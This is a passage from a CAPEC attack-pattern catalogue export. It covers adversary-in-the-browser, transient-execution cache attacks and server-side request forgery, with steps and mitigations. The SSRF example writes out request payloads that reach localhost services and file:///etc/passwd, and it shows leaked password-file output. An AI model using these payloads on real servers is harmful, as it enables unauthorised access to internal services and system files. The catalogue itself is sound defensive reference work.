+ + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + + + + + + + + #CAPEC-662 + Adversary in the Browser (AiTB) + + + + + + + + + 662 + + + + + Adversary in the Browser (AiTB) + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary exploits security vulnerabilities or inherent functionalities of a web browser, in order to manipulate traffic between two endpoints.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This attack first requires the adversary to trick the victim into installing a Trojan Horse application on their system, such as a malicious web browser plugin, which the adversary then leverages to mount the attack. The victim interacts with a web application, such as a banking website, in a normal manner and under the assumption that the connection is secure. However, the adversary can now alter and/or reroute traffic between the client application (e.g., web browser) and the coinciding endpoint, while simultaneously displaying intended transactions and data back to the user. The adversary may also be able to glean cookies, HTTP sessions, and SSL client certificates, which can be used to pivot into an authenticated intranet. Identifying AITB is often difficult because these attacks are successful even when security mechanisms such as SSL/PKI and multifactor authentication are present, since they still function as intended during the attack.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indAlternateTermManInTheBrowser + Man in the Browser + + + + + + + + + Man in the Browser + + + + + + + + + + + + #indAlternateTermBoyInTheBrowser + Boy in the Browser + + + + + + + + + Boy in the Browser + + + + + + + + + + + + #indAlternateTermManInTheMobile + Man in the Mobile + + + + + + + + + Man in the Mobile + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39860 + Related_Attack_Pattern_39860 + + + + + + + + + + + + + + 94 + + + + + + + + + + + + #indAttackStepAttackStep39863 + Attack_Step_39863 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary tricks the victim into installing the Trojan Horse malware onto their system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Conduct phishing attacks, drive-by malware installations, or masquerade malicious browser extensions as being legitimate.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39869 + Attack_Step_39869 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary inserts themself into the communication channel initially acting as a routing proxy between the two targeted components.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39874 + Attack_Step_39874 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary observes, filters, or alters passed data of their choosing to gain access to sensitive information or to manipulate the actions of the two target components for their own purposes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must install or convince a user to install a Trojan.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">There are two components communicating with each other.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker is able to identify the nature and mechanism of communication between the two target components.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Strong mutual authentication is not used between the two target components yielding opportunity for adversarial interposition.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For browser pivoting, the SeDebugPrivilege and a high-integrity process must both exist to execute this attack.</xhtml:div> + + + + + + + + + + + + #indSkillSkill39888 + Skill_39888 + + + + + + + + + + + + + + Tricking the victim into installing the Trojan is often the most difficult aspect of this attack. Afterwards, the remainder of this attack is fairly trivial. + + + + + + + + + + + + #indConsequenceConsequence39891 + Consequence_39891 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence39895 + Consequence_39895 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence39901 + Consequence_39901 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure software and applications are only downloaded from legitimate and reputable sources, in addition to conducting integrity checks on the downloaded component.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage anti-malware tools, which can detect Trojan Horse malware.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use strong, out-of-band mutual authentication to always fully authenticate both ends of any communications channel.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Limit user permissions to prevent browser pivoting.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure browser sessions are regularly terminated and when their effective lifetime ends.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary conducts a phishing attack and tricks a victim into installing a malicious browser plugin. The adversary then positions themself between the victim and their banking institution. The victim begins by initiating a funds transfer from their personal savings to their personal checking account. Using injected JavaScript, the adversary captures this request and modifies it to transfer an increased amount of funds to an account that they controls, before sending it to the bank. The bank processes the transfer and sends the confirmation notice back to the victim, which is instead intercepted by the adversary. The adversary modifies the confirmation to reflect the original transaction details and sends this modified message back to the victim. Upon receiving the confirmation, the victim assumes the transfer was successful and is unaware that their money has just been transferred to the adversary.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In 2020, the Agent Tesla malware was leveraged to conduct AiTB attacks against organizations within the gas, oil, and other energy sectors. The malware was delivered via a spearphishing campaign and has the capability to form-grab, keylog, copy clipboard data, extract credentials, and capture screenshots. [REF-630]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Boy in the browser attacks are a subset of AiTB attacks. Similar to AiTB attacks, the adversary must first trick the victim into installing a Trojan, either via social engineering or drive-by-download attacks. The malware then modifies the victim's "hosts" file in order to reroute web traffic from an intended website to an adversary-controlled website that mimics the legitimate website. The adversary is now able to observe, intercept, and/or modify all traffic, as in a traditional Adversary in the Middle attack (CAPEC-94). BiTB attacks are low-cost, easy to execute, and more difficult to detect since the malware often removes itself once the attack has concluded. [REF-631]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Man in the Mobile attacks are a subset of AiTB attacks that target mobile device users. Like AiTB attacks, an adversary convinces a victim to install a Trojan mobile application on their mobile device, often under the guise of security. Once the victim has installed the application, the adversary can capture all SMS traffic to bypass SMS-based out-of-band authentication systems. [REF-632]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 300 + + + + + 494 + + + + + + + + + + + + #indTaxonomyMappingManInTheBrowser + Man in the Browser + + + + + + + + + + + + + + 1185 + + + + + Man in the Browser + + + + + + + + + + + + #indTaxonomyMappingManInTheBrowserAttack + Man-in-the-browser attack + + + + + + + + + + + + + + Man-in-the-browser attack + + + + + + + + + + + + #indReferenceReference39941 + Reference_39941 + + + + + + + + + REF-629 + + + + + + + + + + + + #indReferenceReference39942 + Reference_39942 + + + + + + + + + REF-630 + + + + + + + + + + + + #indReferenceReference39943 + Reference_39943 + + + + + + + + + REF-631 + + + + + + + + + + + + #indReferenceReference39944 + Reference_39944 + + + + + + + + + REF-632 + + + + + + + + + + + + #indContentHistoryContentHistory39946 + Content_History_39946 + + + + + + + + + + + + + + + + #indSubmissionSubmission39947 + Submission_39947 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + + + + + + + + #indModificationModification39952 + Modification_39952 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-663 + Exploitation of Transient Instruction Execution + + + + + + + + + 663 + + + + + Exploitation of Transient Instruction Execution + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a hardware design flaw in a CPU implementation of transient instruction execution to expose sensitive data and bypass/subvert access control over restricted resources. Typically, the adversary conducts a covert channel attack to target non-discarded microarchitectural changes caused by transient executions such as speculative execution, branch prediction, instruction pipelining, and/or out-of-order execution. The transient execution results in a series of instructions (gadgets) which construct covert channel and access/transfer the secret data.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39967 + Related_Attack_Pattern_39967 + + + + + + + + + + + + + + 74 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39968 + Related_Attack_Pattern_39968 + + + + + + + + + + + + + + 184 + + + + + 403 + + + + + 437 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39972 + Related_Attack_Pattern_39972 + + + + + + + + + + + + + + 141 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39973 + Related_Attack_Pattern_39973 + + + + + + + + + + + + + + 212 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39974 + Related_Attack_Pattern_39974 + + + + + + + + + + + + + + 124 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39975 + Related_Attack_Pattern_39975 + + + + + + + + + + + + + + 180 + + + + + + + + + + + + #indAttackStepAttackStep39978 + Attack_Step_39978 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey target application and relevant OS shared code libraries] Adversary identifies vulnerable transient instruction sets and the code/function calls to trigger them as well as instruction sets or code fragments (gadgets) to perform attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize Disassembler and Debugger tools to examine and trace instruction set execution of source code and shared code libraries on a system.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39984 + Attack_Step_39984 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Explore cache and identify impacts] Utilize tools to understand the impact of transient instruction execution upon address spaces and CPU operations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run OS or application specific tools that examine the contents of cache.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39990 + Attack_Step_39990 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Cause conditions for identified transient instruction set execution] Adversary ensures that specific code/instructions of the target process are executed by CPU, so desired transient instructions are executed.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39995 + Attack_Step_39995 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Cause specific secret data to be cached from restricted address space] Executed instruction sets (gadgets) in target address space, initially executed via adversary-chosen transient instructions sets, establish covert channel and transfer secret data across this channel to cache.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Prediction-based - adversary trains CPU to incorrectly predict/speculate conditions for instruction execution to be true, hence executing adversary-chosen transient instructions. These prediction-based methods include: Pattern History Table (PHT)/Input Validation Bypass, Branch Target Buffer (BTB)/Branch Target Injection, Return Stack Buffer (RSB)/Return Address Injection, and Store To Load (STL)/Speculative Store Bypass.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Exception/Fault-based - adversary has CPU execute transient instructions that raise an exception allowing inaccessible memory space to be accessed via out-of-order execution. These exception/fault-based methods include: Supervisor-only Bypass, Virtual Translation Bypass, System Register Bypass, FPU Register Bypass, Read-only Bypass, Protection Key Bypass, and Bounds Check Bypass.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40002 + Attack_Step_40002 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Perform covert channel attack to obtain/access secret data] Adversary process code removes instructions/data from shared cache set, waits for target process to reinsert them back into cache, to identify location of secret data via a timing method. Adversary continuously repeat this process to identify and access entirety of targeted secret data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Flush+Reload - adversary frequently flushes targeted memory cache line using a dedicated machine flush instruction, and uses another process to measure time taken for CPU to load victim secret data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Evict+Time - adversary causes victim to load target set into cache and measures time for victim process to load this data, setting a baseline. Adversary evicts a specified cache line and causes victim process to execute again, and measures any change in execution time, to determine if cache line was accessed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Prime+Probe - adversary primes cache by filling cache line(s) or set(s) with data, after some time victim process evicts this adversary data to replace it with secret data. The adversary then probes/accesses all the previously accessed cache lines detecting cache misses, which determine that their attacker data has been evicted and replaced with secret data from victim process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary needs at least user execution access to a system and a maliciously crafted program/application/process with unprivileged code to misuse transient instruction set execution of the CPU.</xhtml:div> + + + + + + + + + + + + #indSkillSkill40015 + Skill_40015 + + + + + + + + + + + + + + Detailed knowledge on how various CPU architectures and microcode perform transient execution for various low-level assembly language code instructions/operations. + + + + + + + + + + + + #indSkillSkill40016 + Skill_40016 + + + + + + + + + + + + + + Detailed knowledge on compiled binaries and operating system shared libraries of instruction sequences, and layout of application and OS/Kernel address spaces for data leakage. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">C2C mechanism or direct access to victim system, capable of dropping malicious program and collecting covert channel attack data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Malicious program capable of triggering execution of transient instructions or vulnerable instruction sequences of victim program and performing a covert channel attack to gather data from victim process memory space. Ultimately, the speed with which an attacker discovers a secret is directly proportional to the computational resources of the victim machine.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">File Signatures for Malicious Software capable of abusing Transient Instruction Set Execution</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence40026 + Consequence_40026 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence40030 + Consequence_40030 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence40034 + Consequence_40034 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: DAWG (Dynamically Allocated Way Guard) - processor cache properly divided between different programs/processes that don't share resources</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: KPTI (Kernel Page-Table Isolation) to completely separate user-space and kernel space page tables</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Architectural Design of Microcode to limit abuse of speculative execution and out-of-order execution</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Disable SharedArrayBuffer for Web Browsers</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Disable Copy-on-Write between Cloud VMs</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Privilege Checks on Cache Flush Instructions</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Non-inclusive Cache Memories to prevent Flush+Reload Attacks</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A web browser with user-privileges executes JavaScript code imbedded within a malicious website. The system does not disable shared buffers for the web browser and there is no restriction or check upon user-process execution of flush or evict instructions. The Javascript code executes vulnerable transient instructions upon system to cause microarchitectural changes that establish covert channel and transfer sensitive/secret data into shared cache from address space of either kernel, web browser or another executing process on the system.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 1037 + + + + + 1303 + + + + + 1264 + + + + + + + + + + + + #indReferenceReference40059 + Reference_40059 + + + + + + + + + REF-637 + + + + + + + + + + + + #indReferenceReference40060 + Reference_40060 + + + + + + + + + REF-638 + + + + + + + + + + + + #indReferenceReference40061 + Reference_40061 + + + + + + + + + REF-639 + + + + + + + + + + + + #indReferenceReference40062 + Reference_40062 + + + + + + + + + REF-640 + + + + + + + + + + + + #indReferenceReference40063 + Reference_40063 + + + + + + + + + REF-641 + + + + + + + + + + + + #indReferenceReference40064 + Reference_40064 + + + + + + + + + REF-642 + + + + + + + + + + + + #indReferenceReference40065 + Reference_40065 + + + + + + + + + REF-643 + + + + + + + + + + + + #indContentHistoryContentHistory40067 + Content_History_40067 + + + + + + + + + + + + + + + + #indSubmissionSubmission40068 + Submission_40068 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + + + + + + + + #indModificationModification40073 + Modification_40073 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-664 + Server Side Request Forgery + + + + + + + + + 664 + + + + + Server Side Request Forgery + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern40089 + Related_Attack_Pattern_40089 + + + + + + + + + + + + + + 115 + + + + + + + + + + + + #indAttackStepAttackStep40092 + Attack_Step_40092 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find target application] Find target web application that accepts a user input and retrieves data from the server</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40097 + Attack_Step_40097 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Examine existing application requests] Examine HTTP/GET requests to view the URL query format. Adversaries test to see if this type of attack is possible through weaknesses in an application's protection to Server Side Request Forgery</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attempt manipulating the URL to retrieve an error response/code from the server to determine if URL/request validation is done.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of XSS probe strings to specify as parameters to known URLs. If possible, use probe strings with unique identifiers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a GET request with a common server file path such as /etc/passwd as a parameter and examine output.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40105 + Attack_Step_40105 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Malicious request] Adversary crafts a malicious URL request that assumes the privilege level of the server to query internal or external network services and sends the request to the application</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Server must be running a web application that processes HTTP requests.</xhtml:div> + + + + + + + + + + + + #indSkillSkill40115 + Skill_40115 + + + + + + + + + + + + + + The adversary will have to detect the vulnerability through an intermediary service or specify maliciously crafted URLs and analyze the server response. + + + + + + + + + + + + #indSkillSkill40116 + Skill_40116 + + + + + + + + + + + + + + The adversary will be required to access internal resources, extract information, or leverage the services running on the server to perform unauthorized actions such as traversing the local network or routing a reflected TCP DDoS through them. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[None] No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence40122 + Consequence_40122 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence40128 + Consequence_40128 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence40132 + Consequence_40132 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Handling incoming requests securely is the first line of action to mitigate this vulnerability. This can be done through URL validation.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Further down the process flow, examining the response and verifying that it is as expected before sending would be another way to secure the server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Allowlist the DNS name or IP address of every service the web application is required to access is another effective security measure. This ensures the server cannot make external requests to arbitrary services.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Requiring authentication for local services adds another layer of security between the adversary and internal services running on the server. By enforcing local authentication, an adversary will not gain access to all internal services only with access to the server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Enforce the usage of relevant URL schemas. By limiting requests be made only through HTTP or HTTPS, for example, attacks made through insecure schemas such as file://, ftp://, etc. can be prevented.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An e-commerce website allows a customer to filter results by specific categories. When the customer selects the category of choice, the web shop queries a back-end service to retrieve the requested products. The request may look something like:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt; + &lt;xhtml:p&gt;POST /product/category HTTP/1.0&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;Content-Type: application/x-www-form-urlencoded&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;Content-Length: 200&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;vulnerableService=http://vulnerableshop.net:8080/product/category/check%3FcategoryName%3DsomeCategory&lt;/xhtml:p&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A malicious user can modify the request URL to look like this instead:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt; + &lt;xhtml:p&gt;POST /product/category HTTP/1.0&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;Content-Type: application/x-www-form-urlencoded&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;Content-Length: 200&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;vulnerableService=http://localhost/server-status&lt;/xhtml:p&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;or&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt; + &lt;xhtml:p&gt;vulnerableService = file:///etc/passwd&lt;/xhtml:p&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;or&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt; + &lt;xhtml:p&gt;vulnerableService=dict://localhost:12345/info&lt;/xhtml:p&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If the exploit is successful, the server may return the data requested by the adversary&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="bad"&gt; + &lt;xhtml:p&gt;root:!:0:0::/:/usr/bin/ksh&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;daemon:!:1:1::/etc:&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;bin:!:2:2::/bin:&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;sys:!:3:3::/usr/sys:&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;adm:!:4:4::/var/adm:&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;uucp:!:5:5::/usr/lib/uucp:&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;guest:!:100:100::/home/guest:&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;nobody:!:4294967294:4294967294::/:&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;lpd:!:9:4294967294::/:&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;lp:*:11:11::/var/spool/lp:/bin/false&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;invscout:*:200:1::/var/adm/invscout:/usr/bin/ksh&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;nuucp:*:6:5:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;paul:!:201:1::/home/paul:/usr/bin/ksh&lt;/xhtml:p&gt; + &lt;xhtml:p&gt;jdoe:*:202:1:My name:/home/myname:/usr/bin/ksh&lt;/xhtml:p&gt; + &lt;/xhtml:div&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The CallStranger attack is an observed example of SSRF. It specifically targets the UPnP (Universal Plug and Play) protocol used by various network devices and gaming consoles. To execute the attack, an adversary performs a scan of the LAN to discover UPnP enabled devices, and subsequently a list of UPnP services they use. Once the UPnP service endpoints are listed, a vulnerability in the UPnP protocol is used to send these endpoints as encrypted to a verification server via the UPnP Callback method. Because the encryption is done on the client side, the server returns an encrypted list of services which is decrypted on the client side. The adversary then has a list of services running the vulnerable UPnP protocol, which the adversary can leverage to make spoofed requests. [REF-646]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 918 + + + + + 20 + + + + + + + + + + + + #indReferenceReference40195 + Reference_40195 + + + + + + + + + REF-644 + + + + + + + + + + + + #indReferenceReference40196 + Reference_40196 + + + + + + + + + REF-645 + + + + + + + + + + + + #indReferenceReference40197 + Reference_40197 + + + + + + + + + REF-646 + + + + + + + + + + + + #indContentHistoryContentHistory40199 + Content_History_40199 + + + + + + + + + + + + + + + + #indSubmissionSubmission40200 + Submission_40200 + + + + + + + + + CAPEC Content Team + + + + + The 